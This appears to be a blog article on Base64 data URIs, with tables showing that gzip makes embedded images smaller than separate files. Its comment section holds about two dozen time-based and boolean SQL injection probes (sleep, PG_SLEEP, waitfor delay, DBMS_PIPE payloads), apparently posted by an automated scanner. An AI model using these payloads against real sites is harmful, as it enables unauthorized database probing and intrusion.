A virtual teacher who reveals to you the great secrets of Base64

Gzip is the best friend of the data URI

Encoding data to Base64 increases its size by about 33% and this is the main reason why many developers are afraid to use data URI scheme. Well, this is fair, because the size really matters, but there are some important points that are often not mentioned. It’s a pity, because they can prove that sometimes it’s better to use data URIs (of course, if size is the only thing that bothers you).

To make it easier to understand how it works, we are going to analyze two HTML pages on which we display a 1x1 image. First, let’s see what happens when the browser loads the page #1 with the embedded image in the usual way:

  1. Browser sends a HTTP request (182 bytes) to the page URL.
  2. Server returns some HTTP headers (852 bytes) and the HTML markup (385 bytes).
  3. Browser detects that it needs to load an image and sends a new HTTP request (176 bytes) to the image URL.
  4. Server returns some HTTP headers (995 bytes) and the image contents (91 bytes).

Now let’s see the page page #2 that embeds the same image through a data URI:

  1. Browser sends a HTTP request (182 bytes) to the page URL.
  2. Server returns some HTTP headers (852 bytes) and the HTML markup (504 bytes).

As you can see, in the second case, the size of the HTML markup is +30.91% larger (+119 bytes), but the image is already loaded. Therefore, in the first case, you need to sum the size of the image and HTML markup. Now, the difference in size is only +5.88% (more exactly, +28 bytes). Not bad, but that’s not all: in the first case the browser sends two HTTP requests, which means it will be slower due to network delays. Moreover, the size of both requests and all headers will be approximately two times larger than page #2, so the total size of which will be -42.63% less.

If you’re glad data URI is the winner of this experiment, it is too early to rejoice, because data URI won only due to the fact that the size of the headers exceeds the size of the image. That is, the ratio will decrease for larger images and as a result the size of the second page will be larger. For clarity, refer to the following table:

Image Total bytes (request + headers + body)
W×H Size File URL Data URI Ratio
1×1 91 B 2681 (358 + 1847 + 476) 1538 (182 + 852 + 504) -42.63%
8×8 281 B 2873 (358 + 1849 + 666) 1790 (182 + 852 + 756) -37.70%
16×16 408 B 3009 (361 + 1849 + 799) 1963 (183 + 852 + 928) -34.76%
32×32 623 B 3224 (361 + 1849 + 1014) 2251 (183 + 852 + 1216) -30.18%
64×64 1.03 KB 3661 (361 + 1850 + 1450) 2831 (183 + 852 + 1796) -22.67%
128×128 1.98 KB 4636 (364 + 1850 + 2422) 4124 (184 + 852 + 3088) -11.04%
256×256 4.08 KB 6788 (364 + 1851 + 4573) 6992 (184 + 852 + 5956) +3.01%
512×512 11.44 KB 14324 (364 + 1852 + 12108) 17040 (184 + 852 + 16004) +18.96%
1024×1024 23.46 KB 26648 (367 + 1852 + 24429) 33465 (185 + 852 + 32428) +25.58%
2048×2048 40.01 KB 43589 (367 + 1852 + 41370) 56053 (185 + 852 + 55016) +28.59%
4096×4096 64.82 KB 69001 (367 + 1853 + 66781) 89933 (185 + 852 + 88896) +30.34%
8192×8192 245.99 KB 254521 (367 + 1854 + 252300) 337293 (185 + 852 + 336256) +32.52%

Data URI lost the battle, but not the war, because it has a powerful ally, which is good at compressing data. Therefore, with its help we can get good ratios even for large images. I suggest looking at the same pages above for which I enabled the gzip compression:

Image Total bytes (request + headers + body)
W×H Size File URL Data URI Ratio
1×1 91 B 2567 (357 + 1847 + 363) 1389 (181 + 852 + 356) -45.89%
8×8 281 B 2759 (357 + 1849 + 553) 1598 (181 + 852 + 565) -42.08%
16×16 408 B 2892 (360 + 1849 + 683) 1734 (182 + 852 + 700) -40.04%
32×32 623 B 3107 (360 + 1849 + 898) 1958 (182 + 852 + 924) -36.98%
64×64 1.03 KB 3543 (360 + 1850 + 1333) 2394 (182 + 852 + 1360) -32.43%
128×128 1.98 KB 4514 (363 + 1850 + 2301) 3299 (183 + 852 + 2264) -26.92%
256×256 4.08 KB 6666 (363 + 1851 + 4452) 5201 (183 + 852 + 4166) -21.98%
512×512 11.44 KB 14202 (363 + 1852 + 11987) 11749 (183 + 852 + 10714) -17.27%
1024×1024 23.46 KB 26522 (366 + 1852 + 24304) 21680 (184 + 852 + 20644) -18.26%
2048×2048 40.01 KB 43463 (366 + 1852 + 41245) 26819 (184 + 852 + 25783) -38.29%
4096×4096 64.82 KB 68875 (366 + 1853 + 66656) 55088 (184 + 852 + 54052) -20.02%
8192×8192 245.99 KB 254395 (366 + 1854 + 252175) 194361 (184 + 852 + 193325) -23.60%

Wow! The data URI page is always smaller and requires only one HTTP request. Definitely, it takes the cake! Especially if you take into account that as the number of images increases, everything becomes even better.

So now we know that gzip is a must-have thing if we plan to use Base64 encoded data URIs (in fact, you should always enable gzip when server outputs textual data). If you want to know if your server is configured correctly, check out the gzip online test.

However, given the victories proven on this page, this does not mean that you should always use data URI. On the contrary, you need to use it carefully and you must be sure why you need data URI, because it has several disadvantages.

Comments (25)

I hope you enjoy this discussion. In any case, I ask you to join it.

  • Enrober,
    This is very useful.. always interested to learn more of the ways of applying optimal compression. Just found your site today. Thanks!!
  • nqhXncMU,
    if(now()=sysdate(),sleep(15),0)
  • nqhXncMU,
    555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • nqhXncMU,
    -1 OR 2+949-949-1=0+0+0+1
  • nqhXncMU,
    MFJkUycG'; waitfor delay '0:0:15' --
  • nqhXncMU,
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • nqhXncMU,
    -1)) OR 886=(SELECT 886 FROM PG_SLEEP(15))--
  • nqhXncMU,
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • nqhXncMU,
    Q2alu8Im' OR 707=(SELECT 707 FROM PG_SLEEP(15))--
  • nqhXncMU,
    1BhhdvVp' OR 69=(SELECT 69 FROM PG_SLEEP(15))--
  • nqhXncMU,
    -1 OR 2+566-566-1=0+0+0+1 --
  • nqhXncMU,
    9HzFCCvr') OR 392=(SELECT 392 FROM PG_SLEEP(15))--
  • gBqsPxAZ,
    -1); waitfor delay '0:0:15' --
  • gBqsPxAZ,
    -1" OR 2+651-651-1=0+0+0+1 --
  • gBqsPxAZ,
    BnLquUi4') OR 196=(SELECT 196 FROM PG_SLEEP(15))--
  • gBqsPxAZ,
    -1 OR 2+683-683-1=0+0+0+1 --
  • gBqsPxAZ,
    o6ixzTH7' OR 355=(SELECT 355 FROM PG_SLEEP(15))--
  • gBqsPxAZ,
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • nqhXncMU,
    -1" OR 2+708-708-1=0+0+0+1 --
  • nqhXncMU,
    xqtcMYDi')) OR 477=(SELECT 477 FROM PG_SLEEP(15))--
  • nqhXncMU,
    -1' OR 2+381-381-1=0+0+0+1 --
  • nqhXncMU,
    QibK9UgE')) OR 53=(SELECT 53 FROM PG_SLEEP(15))--
  • ncMUFCMU,
    if(now()=sysdate(),sleep(15),0)
  • nqhXncMU,
    -1 OR 2+229-229-1=0+0+0+1 --
  • nqhXncMU,
    IhIPxP3y') OR 361=(SELECT 361 FROM PG_SLEEP(15))--
Add new comment

If you have any questions, remarks, need help, or just like this page, please feel free to let me know by leaving a comment using the form bellow.
I will be happy to read every comment and, if necessary, I will do my best to respond as quickly as possible. Of course, spammers are welcome only as readers.